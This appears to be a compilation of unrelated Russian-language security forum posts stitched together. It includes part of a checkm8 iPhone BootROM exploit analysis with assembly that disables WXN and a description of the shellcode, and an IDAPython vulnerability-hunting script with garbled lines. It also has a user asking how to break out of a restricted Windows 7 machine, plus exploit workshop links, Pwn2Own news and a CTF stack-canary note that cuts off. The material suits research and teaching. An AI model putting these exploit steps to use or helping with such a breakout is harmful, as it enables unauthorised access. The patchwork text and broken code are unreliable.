ADD X1, X1, #0x625
STR X1, [X2,#0x600]
DMB SY
MOV X0, #0x100D
MSR SCTLR_EL1, X0
DSB SY
ISB
RET
Происходит отключение WXN (Write permission implies Execute-never), после чего можно исполнять код в RW памяти. Исполнение самого кода отключения WXN возможно из-за модифицированной на предыдущем этапе таблицы трансляции.
5.7. write_ttbr0(0x1800A0000)
Code:Copy to clipboard
00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1))
00000001000003E8: ISB
00000001000003EC: RET
Восстанавливается оригинальное значение регистра трансляции TTBR0_EL1. Это необходимо для дальнейшей корректной работы BootROM при трансляции виртуальных адресов, так как данные в INSECURE_MEMORY будут перезаписаны.
5.8. tlbi
Происходит повторный сброс таблицы трансляции.
5.9. exit_critical_section()
Обработка прерываний возвращается в нормальное состояние.
5.10. 0x1800B0000
Управление на инициализирующий shellcode передается.
Таким образом, основная задача callback-chain — это отключение WXN и передача управления на shellcode в RW-памяти.
6. Исполнение shellcode
Сам shellcode находится в src/checkm8_arm64.S и делает следующее:
6.1. Перезапись конфигурационных USB-дескрипторов
В глобальной памяти хранятся два указателя на конфигурационные дескрипторы usb_core_hs_configuration_descriptor и usb_core_fs_configuration_descriptor, расположенные в куче. Во время третьего этапа эти дескрипторы были повреждены. Так как они необходимы для корректной работы с USB-устройством, shellcode их восстанавливает.
6.2. Изменение USBSerialNumber
Создается новая строка-дескриптор с серийным номером, к которой дописывается подстрока " PWND:[checkm8]". В дальнейшем это поможет определить, успешно ли отработал эксплойт.
6.3. Перезапись указателя обработчика USB-запросов на новый
Оригинальный указатель на обработчик USB-запросов к интерфейсу перезаписывается указателем на новый обработчик, который будет размещен в памяти на следующем шаге.
6.4. Копирование обработчика USB-запросов в TRAMPOLINE область памяти (0x1800AFC00)
При получении USB-запроса новый обработчик сравнивает wValue запроса с 0xffff и, если они не равны, возвращает управление на оригинальный обработчик. Если значения совпадают, то в новом обработчике могут быть исполнены различные команды: memcpy, memset и exec (вызов произвольного адреса с произвольным набором аргументов).
На этом анализ эксплойта можно считать завершенным.
Реализация эксплойта на более низком уровне работы с USB
В качестве бонуса и для понимания атаки на более низком уровне мы опубликовали Proof-of-Concept реализации checkm8 на Arduino с Usb Host Shield. PoC работает только для iPhone 7, однако портировать его на другие устройства не составит труда. При подключении iPhone 7 в DFU режиме к Usb Host Shield будут выполнены все описанные в статье шаги, и устройство перейдет в режим PWND:[checkm8], после чего его можно подключить к USB-порту персонального компьютера и работать с ним через утилиту ipwndfu (дампить память, использовать крипто-ключи и т.д.). Этот метод является более стабильным, чем использование асинхронных запросов с минимальным таймаутом, потому что мы работаем напрямую с USB-контроллером. Для реализации была использована библиотека USB_Host_Shield_2.0. Ее нужно незначительно модифицировать, patch-файл также находится в репозитории.
Вместо заключения
На этом мы завершаем наш технический анализ. Разбираться с эксплойтом checkm8 было очень интересно. Надеемся, что данная статья будет полезна сообществу и побудит людей к новым исследованиям в этой области. Сама уязвимость уже оказала и продолжит оказывать влияние на jailbreak-сообщество. Например, уже ведутся работы над jailbreak на основе checkm8 — checkra1n. Так как уязвимость неисправима, полученный jailbreak будет работать всегда на уязвимых чипах (с A5 по A11) независимо от версии iOS. Не стоит забывать и о iWatch, Apple TV и других уязвимых устройствах. Думаем, что в ближайшее время увидят свет и другие интересные проекты для яблочных устройств.
Помимо jailbreak, данная уязвимость окажет большое влияние на исследователей устройств Apple. С помощью checkm8 уже можно включать verbose-загрузку iOS, сдампить SecureROM или использовать GID-ключ для расшифровки образов прошивки. Однако наиболее интересной, на наш взгляд, возможностью нового эксплойта является включение отладки уязвимых устройств с помощью специального JTAG/SWD кабеля. Ранее такое было возможно только на специальных прототипах, [достать которые было крайне тяжело](https://www.vice.com/en_us/article/gyakgw/the-prototype- dev-fused-iphones-that-hackers-use-to-research-apple-zero-days), или с помощью специализированных сервисов. Соответственно, с появлением checkm8, исследовать Apple станет в разы проще и дешевле.
Ссылки
Источник: https://habr.com/ru/company/dsec/blog/471668/
Автор: https://habr.com/users/a1exdandy/
Автоматизация поиска уязвимостей в ПО без исходных кодов — это весьма вкусная плюшка черной магии багхантинга. Но в столь ответственном деле без надежного помощника не обойтись. Встречайте IDAPython — связующий элемент между языком Python и легендарным дизассемблером IDA Pro. Он прекрасно справится с такой задачей.
ЗНАКОМСТВО С АНАЛИЗОМ ПО
Методы обнаружения уязвимостей на абстрактном уровне различаются по цвету —
«белый ящик», что светел знанием об исходном коде; «черный ящик» олицетворяет
тьму незнания устройства подопытной программы. Там, где свет и тьма сходятся,
рождается метод «серого ящика», применяемый при реверс-инжиниринге. Цель
багоискателя — открыть ящик Пандоры с помощью реверсинга. Одна из категорий
реверсинга — бинарный анализ. Это общее название методик постижения алгоритмов
работы программы, восстановления исходного кода, поиска и анализа так
называемых ключевых мест в коде, о которых будет сказано ниже.
Принцип различия динамического и статического подходов к изучению программ кроется в вопросе «to run, or not to run?» — то есть запускается программа на выполнение или нет. Следующая парочка — автоматический и ручной методы, которые различаются степенью относительного вмешательства Homo Logicus в процесс анализа. Статический анализ заклинаниями кода превращает трассу, полученную от покрытия кода, в источник информации (хотя бы и поверхностной) о присутствии потенциальных уязвимостей. Такой источник делает умнее фаззинг в памяти.
Этим материалом я начинаю знакомить читателя с нектаром логики анализа кандидатов (паттернов) уязвимостей. Поиск эксплуатируемых багов начинается с осмотра таких пациентов, как небезопасные функции работы со строками (strcpy, strcat), функции форматирования (семейка printf и так далее). Более сложен анализ циклов, inline memcpy и других паттернов, где могут обрабатываться входные данные, и обрабатываться ошибочно. Одним из таких ключевых мест, паттернов уязвимостей, является конструкция inline memcpy — ассемблерный аналог функции memcpy.
КОНСТРУКЦИЯ INLINE MEMCPY
Ассемблерно-абстрактно конструкция inline memcpy представляет собой набор
следующих команд:
Code:Copy to clipboard
mov ecx, счетчик (количество байт для копирования)
mov esi, указатель на память, откуда копировать
mov edi, указатель, куда копировать
rep movsd, инструкция копирования
Подобная конструкция может быть уязвимой, если значение регистра ecx зависит от входных данных. А зависимость порождает контроль со стороны заинтересованного лица .
Итак, у нас нарисовался вектор автоматизации — это обратная трассировка счетчика. Место действия — дизассемблерный листинг IDA. Для анализа потенциально уязвимых мест небезопасных функций с использованием дизассемблера IDA существуют такой комплект скриптов, как Bugscam, скрипт getenv(), Bug Detector, предназначенный для поиска дыр в одноименной функции, Inlined Strlen — скрипт для анализа ассемблерных конструкций, аналогичных strlen. Все они написаны на встроенном скриптовом языке IDA. Как ты уже понял, мы будем писать IDAPython-скрипт, упрощающий поиск уязвимостей в inline memcpy. Скрипт будет состоять из трассировщика и анализатора. В задачи трассировщика будут входить поиск пути до начала функции и маркировка точки отсчета. Задача анализатора будет состоять в трассировке счетчика с целью выяснить, откуда кладется в него значение, происходят ли опасные операции со значением и не помещается ли в счетчик жестко закодированное значение. К опасным операциям относятся арифметические операции ввиду своей возможности привести к ошибке целочисленных преобразований (signed/unsigned mismatch), что, в свою очередь, как известно, влечет переполнение буфера, если, конечно, значение, которое использовал программист, является размером в операции копирования (затирания) памяти.
Англоязычные термины, отображающие поставленные задачи скрипта, — это backtracing и dataflow analysis.
Памятуя слова Л. Торвальдса: «Болтовня ничего не стоит. Покажите мне код», приступим к реализации.
Spoiler: Трассировка
Процесс пошагового выполнения программы. В режиме трассировки программист видит последовательность выполнения команд и значения переменных на данном шаге выполнения программы, что позволяет легче обнаруживать ошибки. Трассировка может быть начата и окончена в любом месте программы, выполнение программы может останавливаться на каждой команде или на точках останова, трассировка может выполняться с заходом в процедуры и без заходов.
А МНЕ ДОСТАЛАСЬ ТРАССА…
Для того чтобы научить трассировщик хождению по дизассемблерному листингу, мы
будем использовать функцию RfirstB. «RfirstB возвращает адрес следующего
источника в списке ссылок, то есть предыдущий адрес», — сказано в документации
IDA. По сути, эта функция будет являться важнейшей частью «шагательного»
механизма. Задача этого механизма состоит в том, чтобы, используя ссылки,
«идти вверх», вплоть до начала функции, вызывая анализатор на каждом шаге.
На пути трассировки нас ждут разные встречи. Например, цикл, легко превращающий трассировку в белку в колесе. Чтобы не уйти в бесконечный цикл и не превратиться в белку, будем использовать функции SetColor и GetColor. Функция SetColor устанавливает указываемый цвет на строку, функцию или сегмент. Функция GetColor(ea, what) является частично «обратной» — параметр color ей не требуется. Функцией SetColor мы будем окрашивать адреса, которые уже «прошагал» наш скрипт, а GetColor’ом проверять. Стоит отметить, что две эти функции отсутствуют в языке IDA IDC. Вот таким простым хаком мы обережем себя от зацикливания на одном и том же участке кода.
Кстати сказать, такой окрасочно-распознавательный механизм отлично выручает при отладке скрипта.
Результирующую информацию скрипт выводит в комментарии к точке начала анализа — адресу rep movsd. Комментарий добавляется с помощью функции MakeComm, которая как аргумент использует адрес, указывающий, куда добавить комментарий, и переменную, содержащую строку с этим самым комментарием.
Реализация представлена ниже:
Python:Copy to clipboard
def tracer(ea,reg):
global vulncount [#1]
parent = GetFunctionAttr(ea,0) [#2]
while ea != parent:
xref = Rfi rstB(ea) [#3]
commented = idaapi.get_cmt(movsaddr,0)
if commented != None: [#4]
return
if GetColor(ea,CIC_ITEM)==0xe5f3ff: [#5]
return
else:
SetColor(ea,CIC_ITEM,0xe5f3ff) [#6]
reg=Analyzer(ea,reg,xref) [#7]
ea = xref [#8]
if xref == 0xffffffff: [#9]
return
tracer(ea,reg) [#10]
return reg
if ea == parent: [#11]
comment="unknown. Vulncount=%s" % vulncount [#12]. MakeComm(addrofmovs, comment)
return
return reg
Немного поясню суть кода. Объявляем глобальную переменную для счетчика «подозрительных встреч» [#1]. В parent помещаем адрес начала родительской функции [#2]. В цикле, где ea — адрес rep movsd, получаем адрес-ссылку [#3], проверяем наличие комментария [#4], след [#5]. Если окрашено или закомментировано — выходим, иначе машем кисточкой [#6]. Вызываем анализатор, помещая трассируемое значение в reg [#7]. Делаем шаг [#8]. Проверяем, а вдруг пропасть [#9]? «Чтобы понять рекурсию, нужно сперва понять рекурсию» (с) [#10]. Если тупик уж под ногами [#11], не забыв про vulncount, комментируем [#12].
Такая вот двигательная система. Шагать мы научились, теперь пора развивать «мозги».
Предназначение анализатора — понимание «отношений» между инструкциями и операндами в процессе потока данных (dataflow). «Органы чувств» анализатора — это функция GetMnem(ea), возвращающая мнемонику инструкции по заданному адресу, GetOpnd(ea, n) — возвращающая операнд, GetOpType(ea,n) — возвращающая тип операнда. Анализатор использует счетчик подозрительных признаков, располагающийся в глобальной переменной. Счетчик — хранитель репортов об оперировании со счетчиком математическими инструкциями, а также размещении в нем результатов функций вычисления длины. Оба признака повышают вероятность наличия уязвимости.
Настала пора рассмотреть механизм анализа.
ТАМ, НА НЕВЕДОМЫХ ДОРОЖКАХ
DEF IFMOV()
Встречая команды пересылки mov, lea, movzx, проверяем, что помещается в
трассируемый регистр: значение другого регистра, значение из памяти или же
жестко закодированное значение. Взглянем на следующий код:
Code:Copy to clipboard
sub eax, esi
mov ecx, eax ; в ecx помещается eax
mov edx, ecx
shr ecx, 2
rep movsd
Логика ассемблера: в есх помещается eax. Логика анализатора: eax — объект трассировки. Ранее с регистром eax вступала в отношения команда sub, грозящая арифметической ошибкой.
Таковы особенности данного inline memcpy. Кстати, этот код — слабое звено и причина переполнения стека в Outlook Express (MS05-030).
Давай посмотрим, что может делать анализирующая функция при встрече с инструкциями-пересыльщиками:
Python:Copy to clipboard
if GetMnem(ea) in movers:
if GetMnem(ea) == "lea": [#1]
reg = GetOpnd(ea,1)
reg = reg[1:4]
return reg
if GetOpType(ea,1)==5: [#2]
print "value of counter is hardcoded!:("
comment="uninterested!"
MakeComm(addrofmovs, comment)
return reg
if GetOpType(ea,1)==1:
reg=GetOpnd(ea,1) [#3]
return reg
# если: mov ecx,[ebp+arg_4] [#5]
if re.match('.*arg.*',GetOpnd(ea,1)
print "Count from function argument"
comment="Сount from arg or local var. \
Vulncount=%s" % vulncount # подпись
MakeComm(addrofmovs, comment)
else:
comment="Unknown. Vulncount=%s" % vulncount [#4]
MakeComm(addrofmovs, comment)
return reg
return reg
Пересыльщики могут в трассируемый регистр поместить постоянное значение, значение из указателя, значение из аргумента функции, другой регистр. Инструкция lea часто воздействует на reg следующим образом: lea reg, [reg32+reg32], где reg32 — другой регистр. В этом случае трассируемым становится другой регистр [#1]. Постоянное значение в счетчик помещается, как правило, с использованием пары инструкций push/pop, но на всякий случай обработка mov reg,imm32 необходима (в недрах mshtml.dll это присутствует) [#2]. Если в reg помещается другой регистр, то он и становится объектом пристального внимания [#3]. В случае помещения значения из указателя трассировка прекращается и данному inline memcpy присваивается статус «unknown» [#4]. Помещение значения из аргумента функции, стековой переменной, встречается весьма часто и представляет для исследователя интересный пример наивного доверия входным данным [#5]. При нацеливании на такую функцию «фаззинга в памяти» падение исследуемой программы очень даже вероятно.
DEF ISPOP()
Пересыльщиками жестко закодированного значения чаще всего служат стековые
инструкции push и pop. Алгоритм обнаружения и анализа этой парочки таков:
Python:Copy to clipboard
if GetMnem(ea)=="pop":
maxsteps=6
count=0
while count != maxsteps:
xref = Rfi rstB(ea)
ea=xref
if ea != -1:
if GetMnem(ea)=="push": [#1]
if GetOpType(ea,0)==5: [#2]
print "value of counter is hardcoded!:(("comment="uninterested!" MakeComm(addrofmovs, comment)
return
SetColor(ea,CIC_ITEM,0xe5f3ff)
count=count+1
else:
break
print "unknown value"
print "vulncount =%s " % vulncount
comment="unknown"
MakeComm(addrofmovs, comment)
return reg
return reg
В цикле ищем push [#1]. Как правило, ему сопутствует жестко закодированное значение [#2]. А значит, данный паттерн обозначаем как неинтересный.
С пересыльщиками разобрались. Далее рассмотрим, как call может влиять на счетчик.
DEF IFCALL()
Смак здесь в том, что если вызов осуществляется к одной из функций,
возвращающих длину строки, — strlen, wcslen и тому подобным — и трассируемый
регистр — eax, то из этого следует, что значение счетчика очень может зависеть
от входных данных в программу, а значит, существует вероятность захвата
контроля над ним.
В приведенном ниже листинге происходит следующее: получаем имя функции [#1]; если eax — трассируемый регистр и слово «len» присутствует в названии функции [#2], то увеличиваем счетчик подозрительных признаков, выводим результирующую информацию и добавляем комментарий к rep movsd. При встрече с другими функциями отчитываемся о неизвестности [#3].
Python:Copy to clipboard
if GetMnem(ea)=="call":
funcname=GetOpnd(ea,0) [#1]
if reg=="eax":
if re.match('.*len.*',funcname , re.IGNORECASE): [#2]
print "Len in funcname"
vulncount = vulncount+1
print "length calculated dynamically!"
print "vulncount =%s " % vulncount
comment="length calculated dynamically!"
MakeComm(addrofmovs, comment)
return
else:
print "unknown value" [#3]
print "vulncount =%s " % vulncount
comment="Unknown. Vulncount=%s" % vulncount
MakeComm(addrofmovs, comment)
return reg
return reg
Со значением счетчика, помимо рождения его len-функциями и пересылки, могут происходить целочисленные преобразования.
DEF IFMATH()
Ошибки целочисленных преобразований случаются при выполнении арифметических
операций, а также знакового расширения. Такие ошибки являются квинтэссенцией
уязвимостей integer overflow/underflow. То есть цели для GetMnem() — это
инструкции sub, add, dec, inc, mul, imul, movsx.
В качестве примера приведу упомянутый Microsoft Outlook Express NNTP Response Parsing Buffer Overflow Vulnerability:
Code:Copy to clipboard
sub eax, esi ; математическая инструкция работает
; с будущим счетчиком
mov ecx, eax
mov edx, ecx
shr ecx, 2
rep movsd
Знаковое расширение, производимое инструкцией movsx, часто является фатальной операцией для безопасности ПО. Один из наглядных примеров этого — уязвимый код, вызывающий целочисленное переполнение в Apple QuickTime Player H.264 Codec:
Code:Copy to clipboard
movsx edx,cx ; знаковое расширение
mov ecx,edx
mov ebx,ecx
shr ecx,0x2
lea esi,[eax+0x8]
lea edi,[esp+0x18]
rep movsd
Здесь мы видим, что с регистром edx происходит знаковое расширение. Это значит, что значение edx принимает вид 0xFFFFxxxx.
Код, проверяющий присутствие арифметических команд и комментирующий адрес точки отправки — инструкции rep movsd, очень прост:
Python:Copy to clipboard
mathmassiv = ["inc","add","sub","dec","mul","imul","movsx"]
if GetMnem(ea) in mathmassiv:
vulncount = vulncount+1
print "May be here signed/unsigned mismatch!"
print "Vulncount =%s " % vulncount
return reg
Стоит отметить, что по-хорошему нам в подобных случаях следует трассировать первый операнд инструкции movsx, ведь целочисленное переполнение возникнет, только если первый операнд отрицателен.
К integer overflow причастны не только арифметические команды, но и подход к операции сравнения. Если сравниваются числа со знаком и один из операндов сравнения — трассируемый регистр, то такое обстоятельство заслуживает пристального внимания. Итак, прицел на инструкцию cmp, за которой следует знаковый переход.
DEF ISCMP()
«…Когда меняется суть. Когда меньшее становится большим. Когда мир
переворачивается» — это не начало эпической саги, а то, что происходит со
счетчиком, когда его значение неправильно интерпретируется и условный переход
кидает счетчик с огромным размером в операцию rep movsd.
Виновники рокового перехода — условные знаковые переходы — jg, jl, jge, jle, jng, jnge, jnl, jnle. В дикой природе группа «джампов», зависящих от знака, всегда где-то рядом с операцией сравнения. Ниже представлен найденный багоискателем Луиджи Аурьеммой (Luigi Auriemma) в недрах AngelServer листинг, в котором видна такая искомо-целевая ситуация:
Code:Copy to clipboard
cmp esi,imm ; esi под контролем
rep stosd
jge AngelSer.004023DE ; знаковый переход
mov ecx,esi
lea esi,[ebp+0xc]
mov edx,ecx
lea edi, [esp+0x24]
shr ecx,2
rep movsd
Искомая, потому что о ней идет речь. Целевая, потому что на такие трофеи анализатор тоже будет нацелен. Скелет зверя таков:
Code:Copy to clipboard
cmp tracereg, imm/reg ; сравнение трассируемого
; регистра с непосредственным
; значением или другим регистром
…
j[gl] ; группа переходов, представленных
; с помощью магии регулярных выражений
Если от cmp, «вниз шагая» [#2], находим один из знаковых переходов [#3], заключенных в массив [#1], то рапортуем, плюсуем. Если переход беззнаковый и происходит сравнение трассируемого регистра непосредственно с жестко закодированным значением [#4], то маркируем данный inline memcpy как неинтересный.
Python:Copy to clipboard
if GetMnem(ea)=="cmp":
interestingjumps = ["jg","jl","jge","jle","jng", "jnge","jnl","jnle"] [#1]
for count in range(5):
ea = Rfi rst(ea) [#2]
mnem = GetMnem(ea)
if mnem in interestingjumps: [#3]
vulncount = vulncount+1
break
return reg
if GetOpType(ea,1)==5: [#4] # если 1-й операнд —
# постоянное значение
comment="uninterested!"
MakeComm(addrofmovs, comment)
SetColor(xref,CIC_ITEM,0xe5f3ff)
return
return reg
Таков нехитрый анализ, связанный с инструкцией cmp.
ЗАКЛЮЧЕНИЕ
Трассировщик и анализатор в сборе. Естественно, эту сборку придется «допилить»
под себя, но я уверен, что для тебя это не составит труда. IDAPython ждет
твоих указаний. Happy Hunting!
WWW
[целочисленное переполнение в Apple QuickTime Player H.264 Codec
](https://packetstormsecurity.com/files/49968/quicktime-integer-
overflow-h264-adv-7.1.txt)
VULNERABILITY IN MY HEART (CVE2010-3970)
AngelServer stack overflow
Полезная литература
• Greg Hoglund and Gary McGraw. Exploiting Software: How to Break Code
• Mark Dowd, John McDonald, Justin Schuh. The Art of Software Security
Assessment: Identifying and Preventing Software Vulnerabilities
• Tobias Klein. A Bug Hunter’s Diary: A Guided Tour Through the Wilds of
Software Security
tracer.py - Исходный код скрипта, разработанный автором в процессе подготовки статьи "IDAPython vs memcpy"
Python:Copy to clipboard
from idaapi import *
from idautils import *
import string
import re
ea = get_screen_ea()
movsaddr=ea
vulncount=0
def main():
global vulncount
reg="ecx"
tracer(ea,reg)
#cleancolor=-1
#Cleaner(movsaddr,cleancolor)
def tracer(ea,reg):
global vulncount
parent = GetFunctionAttr(ea,0)
while ea != parent:
xref = RfirstB(ea)
commented = idaapi.get_cmt(movsaddr,0)
print "comment = %s" % commented
if commented != None:
return
if GetColor(ea,CIC_ITEM)==0xe5f3ff:
return
else:
SetColor(ea,CIC_ITEM,0xe5f3ff)
reg=Analyzer(ea,reg,xref)
ea = xref
if xref == 0xffffffff:
return
tracer(ea,reg)
return reg
if ea == parent:
comment="unknown. Vulncount=%s" % vulncount
MakeComm(movsaddrddr, comment)
return
return reg
def Analyzer(ea,reg,xref):
global vulncount
movers = ["mov","movzx","lea"]
if GetMnem(ea)=="call":
funcname=GetOpnd(ea,0)
if "eax" in reg:
if re.match('.*len.*',funcname , re.IGNORECASE):
print "Len in funcname"
vulncount = vulncount+1
print "Length calculated dynamically!"
print "vulncount =%s " % vulncount
comment="Length calculated dynamically!"
MakeComm(movsaddr, comment)
return
else:
print "unknown value"
print "vulncount =%s " % vulncount
comment="unknown. stopping on call. Vulncount=%s" % vulncount
MakeComm(movsaddr, comment)
return reg
return reg
if reg in GetOpnd(ea,0):
mathmassiv = ["inc","add","sub","dec","movsx","mul","imul"]
if GetMnem(ea) in mathmassiv:
vulncount = vulncount+1
print "may be here signed/unsigned mismatch!"
print "vulncount =%s " % vulncount
return reg
if GetMnem(ea)=="pop":
for count in range(5):
xref = RfirstB(ea)
ea=xref
if ea != -1:
if GetMnem(ea)=="push":
if GetOpType(ea,0)==5:
print "value of counter is hardcoded!:(("
comment="uninterested!"
MakeComm(movsaddr, comment)
return
SetColor(ea,CIC_ITEM,0xe5f3ff)
count=count+1
else:
break
print "unknown value"
print "vulncount =%s " % vulncount
comment="unknown"
MakeComm(movsaddr, comment)
return reg
return reg
if GetMnem(ea)=="cmp":
for count in range(5):
ea = Rfirst(ea)
print ea
interesting_jumps = ["jg","jl","jge","jle","jng","jnge","jnl","jnle"]
mnem = GetMnem(ea)
print mnem
if mnem in interesting_jumps:
print "may be here signed/unsigned mismatch!"
vulncount = vulncount+1
print "vulncount =%s " % vulncount
break
return reg
uninteresting_jumps = ["jmp","jz","jnz","jna","ja","jnb","je","jbe","jnbe","jne"]
if mnem in uninteresting_jumps:
break
return reg
if GetOpType(ea,1)==5:
comment="uninterested!"
MakeComm(movsaddr, comment)
SetColor(xref,CIC_ITEM,0xe5f3ff)
return
return reg
if GetMnem(ea) in movers:
if GetMnem(ea) == "lea":
reg = GetOpnd(ea,1)
reg = reg[1:4]
if "x" in reg:
return reg
else:
comment="unknown. Vulncount=%s" % vulncount
MakeComm(movsaddr, comment)
return reg
if GetOpType(ea,1)==5:
print "value of counter is hardcoded!:("
comment="uninterested!"
MakeComm(movsaddr, comment)
return reg
if GetOpType(ea,1)==1:
reg=GetOpnd(ea,1)
return reg
if re.match('.*arg.*',GetOpnd(ea,1) , re.IGNORECASE):
print "count from function argument"
comment="size from function argument. Vulncount=%s" % vulncount
MakeComm(movsaddr, comment)
else:
comment="unknown. Vulncount=%s" % vulncount
MakeComm(movsaddr, comment)
return reg
return reg
return reg
def Cleaner(ea,cleancolor):
for seg_ea in Segments():
for ea in Heads(seg_ea, SegEnd(seg_ea)):
SetColor(ea,CIC_ITEM,0xFFFFFFFF)
if __name__ == "__main__":
main()
Hello everybody ,
i need help about this configuration. i'm facing serious headache to find
vulnerabilities .
Can anyone knows how to break out this configuration . this pc runs on Window
7 .
Informations sur l'utilisateur
------------------------
Nom d'utilisateur SID
==================== ==============================================
xxxxx\xxxxx S-1-5-21-3289160678-3876235165-3563385492-4731
Informations de groupe
----------------------
====================================================
Tout le monde Groupe bien connu S-1-1-0 Groupe obligatoire, Activ‚ par d‚faut,
Groupe activ‚
BUILTIN\Utilisateurs Alias S-1-5-32-545 Groupe obligatoire, Activ‚ par d‚faut,
Groupe activ‚
AUTORITE NT\INTERACTIF Groupe bien connu S-1-5-4 Groupe obligatoire, Activ‚
par d‚faut, Groupe activ‚
OUVERTURE DE SESSION DE CONSOLE Groupe bien connu S-1-2-1 Groupe obligatoire,
Activ‚ par d‚faut, Groupe activ‚
AUTORITE NT\Utilisateurs authentifi‚s Groupe bien connu S-1-5-11 Groupe
obligatoire, Activ‚ par d‚faut, Groupe activ‚
AUTORITE NT\Cette organisation Groupe bien connu S-1-5-15 Groupe obligatoire,
Activ‚ par d‚faut, Groupe activ‚
LOCAL Groupe bien connu S-1-2-0 Groupe obligatoire, Activ‚ par d‚faut, Groupe
activ‚
Type SID inconnu S-1-5-21-3289160678-3876235165-3563385492-6411 Groupe
obligatoire, Activ‚ par d‚faut, Groupe activ‚
Type SID inconnu S-1-18-1 Groupe obligatoire, Activ‚ par d‚faut, Groupe activ‚
tiquette obligatoire\Niveau obligatoire moyen Nom S-1-16-8192 Groupe
obligatoire, Activ‚ par d‚faut, Groupe activ‚
Informations de privilŠges----------------------
SeShutdownPrivilege Arrˆter le systŠme D‚sactiv‚
SeChangeNotifyPrivilege Contourner la v‚rification de parcours Activ‚
SeUndockPrivilege Retirer l'ordinateur de la station d'accueil D‚sactiv‚
SeIncreaseWorkingSetPrivilege Augmenter une plage de travail de processus
D‚sactiv‚
SeTimeZonePrivilege Changer le fuseau horaire D‚sactiv‚
Use-After-Free Workshop часть
1
Use-After-Free Workshop часть
2
Use-After-Free Workshop часть
3
Материалы и файлы к воркшопу
![github.com](/proxy.php?image=https%3A%2F%2Fopengraph.githubassets.com%2F311e17994868c8b1040fb1d381b1c67b3d6c85b7ed7351f888a7794d7c12a714%2Fdefcon- russia%2Factivex_workshop&hash=9be855051d0f152e77839672cc660cc9&return_error=1)
](https://github.com/defcon-russia/activex_workshop)
Vulnerable Plugins. Contribute to defcon-russia/activex_workshop development by creating an account on GitHub.
github.com
Spoiler: Описание старого воркшопа
«Advanced Exploit Development (x32). Browser Edition»
Докладчик: Алексей Синцов
Браузер — это окно в мир Интернета, поэтому неудивительно, что через окно различные неблагоприятные элементы лезут прямо в наш дом. Данный курс рассчитан на тех, кому интересно понять, как эти элементы проникают в дом, эксплуатируя такие уязвимости браузера (или его плагинов), как переполнение буфера или использование памяти после освобождения. Кроме того, будет рассмотрено в деталях, как работают и обманываются различные защитные механизмы, которые должны препятствовать проникновению. Мы изучим типовые атаки на защитные механизмы ОС и ПО, такие как DEP/ASLR/SafeSEH/GS, рассмотрим технику HeapSpray и выполним произвольный код в обход всех защит! Все атаки и эксплойты будут воспроизведены участниками в ходе воркшопа, что позволит им самостоятельно оценить угрозы и реальные возможности подобных атак.
В программу входит:
На всех ключевых этапах будет получен calc.exe, то есть участники сами будут обходить защитные методы и собирать эксплойты — для этого будут подробно разобраны необходимые детали и суть атак.
Участник получит:
Требования к участникам workshop:
Записи
Advanced Exploit Development (x32). Browser Edition.Часть
1
Advanced Exploit Development (x32). Browser Edition.Часть
2
Advanced Exploit Development (x32). Browser Edition.Часть
3
$180 тыс. заработали исследователи в области кибербезопасности в первый день конкурса Pwn2Own 2020. Были продемонстрированы эксплойты для атак на Windows 10, Ubuntu Desktop и macOS.
Впервые в истории конкурса Pwn2Own организатор мероприятия в лице Zero Day Initiative (ZDI) решил проводить его виртуально. Связано это, конечно же, с пандемией коронавируса COVID-19.
В первый день Pwn2Own 2020 отличились специалисты лаборатории из Джорджии, занимающейся безопасностью программного обеспечения. Экспертам удалось выполнить код в системе macOS через браузер Safari.
Цепочка эксплойтов предполагала запуск приложения «Калькулятор» через Safari, а также задействовала принцип повышения прав до root. В общей сложности использовались шесть разных уязвимостей, которые принесли исследователям $70 тыс.
Сотрудник компании RedRocket CTF заработал $30 тыс. за эксплойт, приводящий к локальному повышению привилегий в Ubuntu. Он использовал уязвимость некорректной проверки ввода.
Амат Кама и Ричард Зу из Team Fluoroacetate получили $40 тыс. за аналогичный эксплойт для Windows 10.
Во второй день конкурса Pwn2Own 2020 специалисты попробуют взломать Oracle VirtualBox, VMware Workstation и Adobe Reader.
• Source: [https://www.zerodayinitiative.com/b...to-pwn2own-2020-the-schedule- and-live-results](https://www.zerodayinitiative.com/blog/2020/3/17/welcome-to- pwn2own-2020-the-schedule-and-live-results)
Привет, бандиты! Это Кот.
Вступление
Прошлый мой райт-ап собрал как и положительную критику, так и отрицательную.
Среди отрицательной бытует такое мнение, что не гоже писать в паблик рай-апы
по активным квестам. Я специально старался писать именно о техниках и
особенностях с которыми мне пришлось столкнуться и изучить в процессе
прохождения квеста. А не о самом квесте. Дело в том, что в сложных челленджах
по PWN собраны реально сильные и наглядные примеры того, с чем можно
столкнуться и что нужно знать. По этому я решил писать No-write-апы. Тут не
будет мануала по прохождению челленджа, зато я постараюсь рассмотреть с вами
те вещи, которые мне показались очень интересными.
Погнали :3
Канарейка должна быть в клетке.
Stack canary. В гугле полно инфы на эту тему. Но я себе в конспекте обозначил
это так:
Канарейка: способ защиты, обусловлен тем, что после преамбулы, при создании нового стек-фрейма, идёт код,
который копирует значение из регистра FS/GS в ячейку перед указателем дна стека (rbp-8\ebp-4).
Затем в памяти размещается сам RBP/EBP. А следующая ячейка содержит адрес возврата.Click to expand...
прикол в том, что канарейка (не всегда, но за частую) есть в каждом
стекфрейме, и она наследуется от родительского стекфрейма (это если грубо,
вообще она берется со спец-регистра)
Канарейка всегда начинается с нульбайта. Зачем? '\x00'
терминирует строку
для всяких считывающих функций, типа scanf().
В эпилоге стекфрейма идёт проверка целостности канарейки. А в прологе - она записывается. Если хоть одно пёрышко упадёт с канарейки - процесс аварийно завершается не давая нам возможности исполнить код. Выглядит это примерно вот так:
из спец-регистра в $rax
из $rax в ячейку памяти $rbp-8 (то есть перед адресом дна стека)
и чистим $rax
Это был пролог канарейки.
Ниже - эпилог.
Из ячейки памяти перед $rbp в $rcx
потом ксорим то что есть на то что должно было бы быть
и условный переход (je)
если всё ок - в leave и в ret - в родительский стекфрейм.
если нет - вылетаем с грохотом.
То есть. Какие есть варианты перезаписать что-то, что находится за канарейкой? Да тут только один вариант (на самом деле не один, но с UAF я ещё не разобрался до конца) - положить её на место. Окей, капитан очевидность, а как же ее узнать-то? И тут мы плавно переходим к форкам.
Форки
Раньше были треды, их я не застал, на смену им пришли форки.
Форк - это дочерний процесс. Нужно это для многопоточности. Что бы к серверу
могли подключаться и работать сразу несколько клиентов паралельно, а не в
порядке живой очереди.
